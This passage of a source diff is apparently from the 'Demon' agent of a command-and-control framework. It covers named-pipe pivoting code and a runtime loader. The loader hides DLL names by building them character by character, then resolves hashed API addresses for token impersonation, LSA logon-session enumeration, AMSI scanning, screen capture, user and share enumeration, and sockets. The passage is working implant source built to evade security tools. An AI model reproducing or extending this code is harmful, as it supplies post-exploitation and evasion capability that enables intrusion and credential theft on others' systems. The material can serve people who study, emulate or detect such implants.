|
||||
|
||||
if ( PivotData->Handle )
|
||||
{
|
||||
Instance.Win32.DisconnectNamedPipe( PivotData->Handle );
|
||||
Instance->Win32.DisconnectNamedPipe( PivotData->Handle );
|
||||
SysNtClose( PivotData->Handle );
|
||||
}
|
||||
|
||||
@@ -201,7 +201,7 @@ BOOL PivotRemove( DWORD AgentId )
|
||||
PivotData->DemonID = 0;
|
||||
|
||||
MemSet( PivotData, 0, sizeof( PIVOT_DATA ) );
|
||||
Instance.Win32.LocalFree( PivotData );
|
||||
Instance->Win32.LocalFree( PivotData );
|
||||
PivotData = NULL;
|
||||
|
||||
return TRUE;
|
||||
@@ -217,7 +217,7 @@ BOOL PivotRemove( DWORD AgentId )
|
||||
|
||||
DWORD PivotCount()
|
||||
{
|
||||
PPIVOT_DATA TempList = Instance.SmbPivots;
|
||||
PPIVOT_DATA TempList = Instance->SmbPivots;
|
||||
DWORD Counter = 0;
|
||||
|
||||
do {
|
||||
@@ -235,7 +235,7 @@ DWORD PivotCount()
|
||||
VOID PivotPush()
|
||||
{
|
||||
PPACKAGE Package = NULL;
|
||||
PPIVOT_DATA TempList = Instance.SmbPivots;
|
||||
PPIVOT_DATA TempList = Instance->SmbPivots;
|
||||
DWORD BytesSize = 0;
|
||||
DWORD Length = 0;
|
||||
PVOID Output = NULL;
|
||||
@@ -256,16 +256,16 @@ VOID PivotPush()
|
||||
NumLoops = 0;
|
||||
do {
|
||||
|
||||
if ( Instance.Win32.PeekNamedPipe( TempList->Handle, NULL, 0, NULL, &BytesSize, NULL ) )
|
||||
if ( Instance->Win32.PeekNamedPipe( TempList->Handle, NULL, 0, NULL, &BytesSize, NULL ) )
|
||||
{
|
||||
if ( BytesSize >= sizeof( UINT32 ) )
|
||||
{
|
||||
if ( Instance.Win32.PeekNamedPipe( TempList->Handle, &Length, sizeof( UINT32 ), NULL, &BytesSize, NULL ) )
|
||||
if ( Instance->Win32.PeekNamedPipe( TempList->Handle, &Length, sizeof( UINT32 ), NULL, &BytesSize, NULL ) )
|
||||
{
|
||||
Length = __builtin_bswap32( Length ) + sizeof( UINT32 );
|
||||
Output = Instance.Win32.LocalAlloc( LPTR, Length );
|
||||
Output = Instance->Win32.LocalAlloc( LPTR, Length );
|
||||
|
||||
if ( Instance.Win32.ReadFile( TempList->Handle, Output, Length, &BytesSize, NULL ) )
|
||||
if ( Instance->Win32.ReadFile( TempList->Handle, Output, Length, &BytesSize, NULL ) )
|
||||
{
|
||||
Package = PackageCreate( DEMON_COMMAND_PIVOT );
|
||||
PackageAddInt32( Package, DEMON_PIVOT_SMB_COMMAND );
|
||||
@@ -0,0 +1,505 @@
|
||||
#include <Demon.h>
|
||||
#include <core/Runtime.h>
|
||||
#include <core/MiniStd.h>
|
||||
|
||||
|
||||
BOOL RtAdvapi32(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 13 ] = { 0 };
|
||||
|
||||
ModuleName[ 0 ] = HideChar('A');
|
||||
ModuleName[ 2 ] = HideChar('V');
|
||||
ModuleName[ 11 ] = HideChar('L');
|
||||
ModuleName[ 10 ] = HideChar('L');
|
||||
ModuleName[ 3 ] = HideChar('A');
|
||||
ModuleName[ 8 ] = HideChar('.');
|
||||
ModuleName[ 12 ] = HideChar('\0');
|
||||
ModuleName[ 6 ] = HideChar('3');
|
||||
ModuleName[ 7 ] = HideChar('2');
|
||||
ModuleName[ 1 ] = HideChar('D');
|
||||
ModuleName[ 9 ] = HideChar('D');
|
||||
ModuleName[ 5 ] = HideChar('I');
|
||||
ModuleName[ 4 ] = HideChar('P');
|
||||
|
||||
if ( ( Instance->Modules.Advapi32 = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance->Win32.GetTokenInformation = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETTOKENINFORMATION );
|
||||
Instance->Win32.CreateProcessWithTokenW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CREATEPROCESSWITHTOKENW );
|
||||
Instance->Win32.CreateProcessWithLogonW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CREATEPROCESSWITHLOGONW );
|
||||
Instance->Win32.RevertToSelf = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_REVERTTOSELF );
|
||||
Instance->Win32.GetUserNameA = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETUSERNAMEA );
|
||||
Instance->Win32.LogonUserW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOGONUSERW );
|
||||
Instance->Win32.LookupPrivilegeValueA = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPPRIVILEGEVALUEA );
|
||||
Instance->Win32.LookupAccountSidA = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPACCOUNTSIDA );
|
||||
Instance->Win32.LookupAccountSidW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPACCOUNTSIDW );
|
||||
Instance->Win32.OpenThreadToken = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_OPENTHREADTOKEN );
|
||||
Instance->Win32.OpenProcessToken = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_OPENPROCESSTOKEN );
|
||||
Instance->Win32.AdjustTokenPrivileges = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_ADJUSTTOKENPRIVILEGES );
|
||||
Instance->Win32.LookupPrivilegeNameA = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPPRIVILEGENAMEA );
|
||||
Instance->Win32.SystemFunction032 = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SYSTEMFUNCTION032 );
|
||||
Instance->Win32.FreeSid = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_FREESID );
|
||||
Instance->Win32.SetSecurityDescriptorSacl = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETSECURITYDESCRIPTORSACL );
|
||||
Instance->Win32.SetSecurityDescriptorDacl = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETSECURITYDESCRIPTORDACL );
|
||||
Instance->Win32.InitializeSecurityDescriptor = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_INITIALIZESECURITYDESCRIPTOR );
|
||||
Instance->Win32.AddMandatoryAce = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_ADDMANDATORYACE );
|
||||
Instance->Win32.InitializeAcl = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_INITIALIZEACL );
|
||||
Instance->Win32.AllocateAndInitializeSid = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_ALLOCATEANDINITIALIZESID );
|
||||
Instance->Win32.CheckTokenMembership = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CHECKTOKENMEMBERSHIP );
|
||||
Instance->Win32.SetEntriesInAclW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETENTRIESINACLW );
|
||||
Instance->Win32.SetThreadToken = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETTHREADTOKEN );
|
||||
Instance->Win32.LsaNtStatusToWinError = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LSANTSTATUSTOWINERROR );
|
||||
Instance->Win32.EqualSid = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_EQUALSID );
|
||||
Instance->Win32.ConvertSidToStringSidW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CONVERTSIDTOSTRINGSIDW );
|
||||
Instance->Win32.GetSidSubAuthorityCount = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETSIDSUBAUTHORITYCOUNT );
|
||||
Instance->Win32.GetSidSubAuthority = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETSIDSUBAUTHORITY );
|
||||
|
||||
PUTS( "Loaded Advapi32 functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load Advapi32" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// we delay loading mscoree.dll
|
||||
BOOL RtMscoree(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 12 ] = { 0 };
|
||||
|
||||
if ( Instance->Win32.CLRCreateInstance )
|
||||
return TRUE;
|
||||
|
||||
ModuleName[ 1 ] = HideChar('S');
|
||||
ModuleName[ 2 ] = HideChar('C');
|
||||
ModuleName[ 11 ] = HideChar(0);
|
||||
ModuleName[ 0 ] = HideChar('M');
|
||||
ModuleName[ 10 ] = HideChar('L');
|
||||
ModuleName[ 8 ] = HideChar('D');
|
||||
ModuleName[ 7 ] = HideChar('.');
|
||||
ModuleName[ 9 ] = HideChar('L');
|
||||
ModuleName[ 5 ] = HideChar('E');
|
||||
ModuleName[ 4 ] = HideChar('R');
|
||||
ModuleName[ 6 ] = HideChar('E');
|
||||
ModuleName[ 3 ] = HideChar('O');
|
||||
|
||||
if ( ( Instance->Modules.Mscoree = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance->Win32.CLRCreateInstance = LdrFunctionAddr( Instance->Modules.Mscoree, H_FUNC_CLRCREATEINSTANCE );
|
||||
|
||||
PUTS( "Loaded Mscoree functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load Mscoree" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL RtOleaut32(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 13 ] = { 0 };
|
||||
|
||||
ModuleName[ 3 ] = HideChar('A');
|
||||
ModuleName[ 2 ] = HideChar('E');
|
||||
ModuleName[ 0 ] = HideChar('O');
|
||||
ModuleName[ 1 ] = HideChar('L');
|
||||
ModuleName[ 5 ] = HideChar('T');
|
||||
ModuleName[ 11 ] = HideChar('L');
|
||||
ModuleName[ 7 ] = HideChar('2');
|
||||
ModuleName[ 6 ] = HideChar('3');
|
||||
ModuleName[ 10 ] = HideChar('L');
|
||||
ModuleName[ 12 ] = HideChar(0);
|
||||
ModuleName[ 4 ] = HideChar('U');
|
||||
ModuleName[ 9 ] = HideChar('D');
|
||||
ModuleName[ 8 ] = HideChar('.');
|
||||
|
||||
if ( ( Instance->Modules.Oleaut32 = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance->Win32.SafeArrayAccessData = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYACCESSDATA );
|
||||
Instance->Win32.SafeArrayUnaccessData = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYUNACCESSDATA );
|
||||
Instance->Win32.SafeArrayCreate = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYCREATE );
|
||||
Instance->Win32.SafeArrayPutElement = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYPUTELEMENT );
|
||||
Instance->Win32.SafeArrayCreateVector = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYCREATEVECTOR );
|
||||
Instance->Win32.SafeArrayDestroy = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYDESTROY );
|
||||
Instance->Win32.SysAllocString = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SYSALLOCSTRING );
|
||||
|
||||
PUTS( "Loaded Oleaut32 functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load Oleaut32" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL RtUser32(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 11 ] = { 0 };
|
||||
|
||||
ModuleName[ 1 ] = HideChar('S');
|
||||
ModuleName[ 0 ] = HideChar('U');
|
||||
ModuleName[ 10 ] = HideChar(0);
|
||||
ModuleName[ 6 ] = HideChar('.');
|
||||
ModuleName[ 8 ] = HideChar('L');
|
||||
ModuleName[ 7 ] = HideChar('D');
|
||||
ModuleName[ 5 ] = HideChar('2');
|
||||
ModuleName[ 3 ] = HideChar('R');
|
||||
ModuleName[ 9 ] = HideChar('L');
|
||||
ModuleName[ 2 ] = HideChar('E');
|
||||
ModuleName[ 4 ] = HideChar('3');
|
||||
|
||||
if ( ( Instance->Modules.User32 = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance->Win32.ShowWindow = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_SHOWWINDOW );
|
||||
Instance->Win32.GetSystemMetrics = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_GETSYSTEMMETRICS );
|
||||
Instance->Win32.GetDC = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_GETDC );
|
||||
Instance->Win32.ReleaseDC = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_RELEASEDC );
|
||||
|
||||
PUTS( "Loaded User32 functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load User32" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL RtShell32(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 12 ] = { 0 };
|
||||
|
||||
ModuleName[ 0 ] = HideChar('S');
|
||||
ModuleName[ 10 ] = HideChar('L');
|
||||
ModuleName[ 7 ] = HideChar('.');
|
||||
ModuleName[ 6 ] = HideChar('2');
|
||||
ModuleName[ 8 ] = HideChar('D');
|
||||
ModuleName[ 4 ] = HideChar('L');
|
||||
ModuleName[ 1 ] = HideChar('H');
|
||||
ModuleName[ 11 ] = HideChar(0);
|
||||
ModuleName[ 9 ] = HideChar('L');
|
||||
ModuleName[ 5 ] = HideChar('3');
|
||||
ModuleName[ 3 ] = HideChar('L');
|
||||
ModuleName[ 2 ] = HideChar('E');
|
||||
|
||||
if ( ( Instance->Modules.Shell32 = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance->Win32.CommandLineToArgvW = LdrFunctionAddr( Instance->Modules.Shell32, H_FUNC_COMMANDLINETOARGVW );
|
||||
|
||||
PUTS( "Loaded Shell32 functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load Shell32" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL RtMsvcrt(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 11 ] = { 0 };
|
||||
|
||||
ModuleName[ 0 ] = HideChar('M');
|
||||
ModuleName[ 6 ] = HideChar('.');
|
||||
ModuleName[ 10 ] = HideChar(0);
|
||||
ModuleName[ 9 ] = HideChar('L');
|
||||
ModuleName[ 4 ] = HideChar('R');
|
||||
ModuleName[ 2 ] = HideChar('V');
|
||||
ModuleName[ 8 ] = HideChar('L');
|
||||
ModuleName[ 7 ] = HideChar('D');
|
||||
ModuleName[ 3 ] = HideChar('C');
|
||||
ModuleName[ 5 ] = HideChar('T');
|
||||
ModuleName[ 1 ] = HideChar('S');
|
||||
|
||||
if ( ( Instance->Modules.Msvcrt = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance->Win32.vsnprintf = LdrFunctionAddr( Instance->Modules.Msvcrt, H_FUNC_VSNPRINTF );
|
||||
Instance->Win32.swprintf_s = LdrFunctionAddr( Instance->Modules.Msvcrt, H_FUNC_SWPRINTF_S );
|
||||
|
||||
PUTS( "Loaded Msvcrt functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load Msvcrt" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL RtIphlpapi(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 13 ] = { 0 };
|
||||
|
||||
ModuleName[ 8 ] = HideChar('.');
|
||||
ModuleName[ 0 ] = HideChar('I');
|
||||
ModuleName[ 10 ] = HideChar('L');
|
||||
ModuleName[ 2 ] = HideChar('H');
|
||||
ModuleName[ 9 ] = HideChar('D');
|
||||
ModuleName[ 6 ] = HideChar('P');
|
||||
ModuleName[ 11 ] = HideChar('L');
|
||||
ModuleName[ 1 ] = HideChar('P');
|
||||
ModuleName[ 3 ] = HideChar('L');
|
||||
ModuleName[ 12 ] = HideChar(0);
|
||||
ModuleName[ 5 ] = HideChar('A');
|
||||
ModuleName[ 4 ] = HideChar('P');
|
||||
ModuleName[ 7 ] = HideChar('I');
|
||||
|
||||
if ( ( Instance->Modules.Iphlpapi = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance->Win32.GetAdaptersInfo = LdrFunctionAddr( Instance->Modules.Iphlpapi, H_FUNC_GETADAPTERSINFO );
|
||||
|
||||
PUTS( "Loaded Iphlpapi functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load Iphlpapi" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL RtGdi32(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 10 ] = { 0 };
|
||||
|
||||
ModuleName[ 4 ] = HideChar('2');
|
||||
ModuleName[ 6 ] = HideChar('D');
|
||||
ModuleName[ 5 ] = HideChar('.');
|
||||
ModuleName[ 8 ] = HideChar('L');
|
||||
ModuleName[ 2 ] = HideChar('I');
|
||||
ModuleName[ 1 ] = HideChar('D');
|
||||
ModuleName[ 7 ] = HideChar('L');
|
||||
ModuleName[ 9 ] = HideChar(0);
|
||||
ModuleName[ 0 ] = HideChar('G');
|
||||
ModuleName[ 3 ] = HideChar('3');
|
||||
|
||||
if ( ( Instance->Modules.Gdi32 = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance->Win32.GetCurrentObject = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_GETCURRENTOBJECT );
|
||||
Instance->Win32.GetObjectW = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_GETOBJECTW );
|
||||
Instance->Win32.CreateCompatibleDC = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_CREATECOMPATIBLEDC );
|
||||
Instance->Win32.CreateDIBSection = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_CREATEDIBSECTION );
|
||||
Instance->Win32.SelectObject = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_SELECTOBJECT );
|
||||
Instance->Win32.BitBlt = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_BITBLT );
|
||||
Instance->Win32.DeleteObject = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_DELETEOBJECT );
|
||||
Instance->Win32.DeleteDC = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_DELETEDC );
|
||||
|
||||
PUTS( "Loaded Gdi32 functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load Gdi32" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL RtNetApi32(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 13 ] = { 0 };
|
||||
|
||||
ModuleName[ 0 ] = HideChar('N');
|
||||
ModuleName[ 11 ] = HideChar('L');
|
||||
ModuleName[ 8 ] = HideChar('.');
|
||||
ModuleName[ 9 ] = HideChar('D');
|
||||
ModuleName[ 6 ] = HideChar('3');
|
||||
ModuleName[ 2 ] = HideChar('T');
|
||||
ModuleName[ 3 ] = HideChar('A');
|
||||
ModuleName[ 10 ] = HideChar('L');
|
||||
ModuleName[ 12 ] = HideChar(0);
|
||||
ModuleName[ 4 ] = HideChar('P');
|
||||
ModuleName[ 5 ] = HideChar('I');
|
||||
ModuleName[ 1 ] = HideChar('E');
|
||||
ModuleName[ 7 ] = HideChar('2');
|
||||
|
||||
if ( ( Instance->Modules.NetApi32 = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance->Win32.NetLocalGroupEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETLOCALGROUPENUM );
|
||||
Instance->Win32.NetGroupEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETGROUPENUM );
|
||||
Instance->Win32.NetUserEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETUSERENUM );
|
||||
Instance->Win32.NetWkstaUserEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETWKSTAUSERENUM );
|
||||
Instance->Win32.NetSessionEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETSESSIONENUM );
|
||||
Instance->Win32.NetShareEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETSHAREENUM );
|
||||
Instance->Win32.NetApiBufferFree = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETAPIBUFFERFREE );
|
||||
|
||||
PUTS( "Loaded NetApi32 functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load NetApi32" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL RtWs2_32(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 11 ] = { 0 };
|
||||
|
||||
ModuleName[ 0 ] = HideChar('W');
|
||||
ModuleName[ 2 ] = HideChar('2');
|
||||
ModuleName[ 4 ] = HideChar('3');
|
||||
ModuleName[ 6 ] = HideChar('.');
|
||||
ModuleName[ 9 ] = HideChar('L');
|
||||
ModuleName[ 1 ] = HideChar('S');
|
||||
ModuleName[ 3 ] = HideChar('_');
|
||||
ModuleName[ 5 ] = HideChar('2');
|
||||
ModuleName[ 10 ] = HideChar(0);
|
||||
ModuleName[ 8 ] = HideChar('L');
|
||||
ModuleName[ 7 ] = HideChar('D');
|
||||
|
||||
if ( ( Instance->Modules.Ws2_32 = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance->Win32.WSAStartup = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSASTARTUP );
|
||||
Instance->Win32.WSACleanup = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSACLEANUP );
|
||||
Instance->Win32.WSASocketA = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSASOCKETA );
|
||||
Instance->Win32.WSAGetLastError = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSAGETLASTERROR );
|
||||
Instance->Win32.ioctlsocket = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_IOCTLSOCKET );
|
||||
Instance->Win32.bind = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_BIND );
|
||||
Instance->Win32.listen = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_LISTEN );
|
||||
Instance->Win32.accept = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_ACCEPT );
|
||||
Instance->Win32.closesocket = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_CLOSESOCKET );
|
||||
Instance->Win32.recv = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_RECV );
|
||||
Instance->Win32.send = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_SEND );
|
||||
Instance->Win32.connect = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_CONNECT );
|
||||
Instance->Win32.getaddrinfo = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_GETADDRINFO );
|
||||
Instance->Win32.freeaddrinfo = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_FREEADDRINFO );
|
||||
|
||||
PUTS( "Loaded Ws2_32 functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load Ws2_32" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
BOOL RtSspicli(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 12 ] = { 0 };
|
||||
|
||||
ModuleName[ 0 ] = HideChar('S');
|
||||
ModuleName[ 11 ] = HideChar(0);
|
||||
ModuleName[ 9 ] = HideChar('L');
|
||||
ModuleName[ 1 ] = HideChar('S');
|
||||
ModuleName[ 6 ] = HideChar('I');
|
||||
ModuleName[ 7 ] = HideChar('.');
|
||||
ModuleName[ 5 ] = HideChar('L');
|
||||
ModuleName[ 8 ] = HideChar('D');
|
||||
ModuleName[ 2 ] = HideChar('P');
|
||||
ModuleName[ 10 ] = HideChar('L');
|
||||
ModuleName[ 4 ] = HideChar('C');
|
||||
ModuleName[ 3 ] = HideChar('I');
|
||||
|
||||
if ( ( Instance->Modules.Sspicli = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance->Win32.LsaRegisterLogonProcess = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAREGISTERLOGONPROCESS );
|
||||
Instance->Win32.LsaLookupAuthenticationPackage = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSALOOKUPAUTHENTICATIONPACKAGE );
|
||||
Instance->Win32.LsaDeregisterLogonProcess = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSADEREGISTERLOGONPROCESS );
|
||||
Instance->Win32.LsaConnectUntrusted = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSACONNECTUNTRUSTED );
|
||||
Instance->Win32.LsaFreeReturnBuffer = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAFREERETURNBUFFER );
|
||||
Instance->Win32.LsaCallAuthenticationPackage = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSACALLAUTHENTICATIONPACKAGE );
|
||||
Instance->Win32.LsaGetLogonSessionData = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAGETLOGONSESSIONDATA );
|
||||
Instance->Win32.LsaEnumerateLogonSessions = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAENUMERATELOGONSESSIONS );
|
||||
|
||||
PUTS( "Loaded Sspicli functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load Sspicli" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL RtAmsi(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 9 ] = { 0 };
|
||||
|
||||
ModuleName[ 3 ] = HideChar('I');
|
||||
ModuleName[ 5 ] = HideChar('D');
|
||||
ModuleName[ 7 ] = HideChar('L');
|
||||
ModuleName[ 8 ] = HideChar(0);
|
||||
ModuleName[ 6 ] = HideChar('L');
|
||||
ModuleName[ 4 ] = HideChar('.');
|
||||
ModuleName[ 0 ] = HideChar('A');
|
||||
ModuleName[ 1 ] = HideChar('M');
|
||||
ModuleName[ 2 ] = HideChar('S');
|
||||
|
||||
if ( ( Instance->Modules.Amsi = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance->Win32.AmsiScanBuffer = LdrFunctionAddr( Instance->Modules.Amsi, H_FUNC_AMSISCANBUFFER );
|
||||
|
||||
PUTS( "Loaded Amsi functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load Amsi" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
#ifdef TRANSPORT_HTTP
|
||||
BOOL RtWinHttp(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 12 ] = { 0 };
|
||||
|
||||
ModuleName[ 0 ] = HideChar('W');
|
||||
ModuleName[ 2 ] = HideChar('N');
|
||||
ModuleName[ 7 ] = HideChar('.');
|
||||
ModuleName[ 11 ] = HideChar(0);
|
||||
ModuleName[ 10 ] = HideChar('L');
|
||||
ModuleName[ 4 ] = HideChar('T');
|
||||
ModuleName[ 8 ] = HideChar('D');
|
||||
ModuleName[ 1 ] = HideChar('I');
|
||||
ModuleName[ 9 ] = HideChar('L');
|
||||
ModuleName[ 6 ] = HideChar('P');
|
||||
ModuleName[ 3 ] = HideChar('H');
|
||||
ModuleName[ 5 ] = HideChar('T');
|
||||
|
||||
if ( ( Instance->Modules.WinHttp = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance->Win32.WinHttpOpen = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPOPEN );
|
||||
Instance->Win32.WinHttpConnect = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPCONNECT );
|
||||
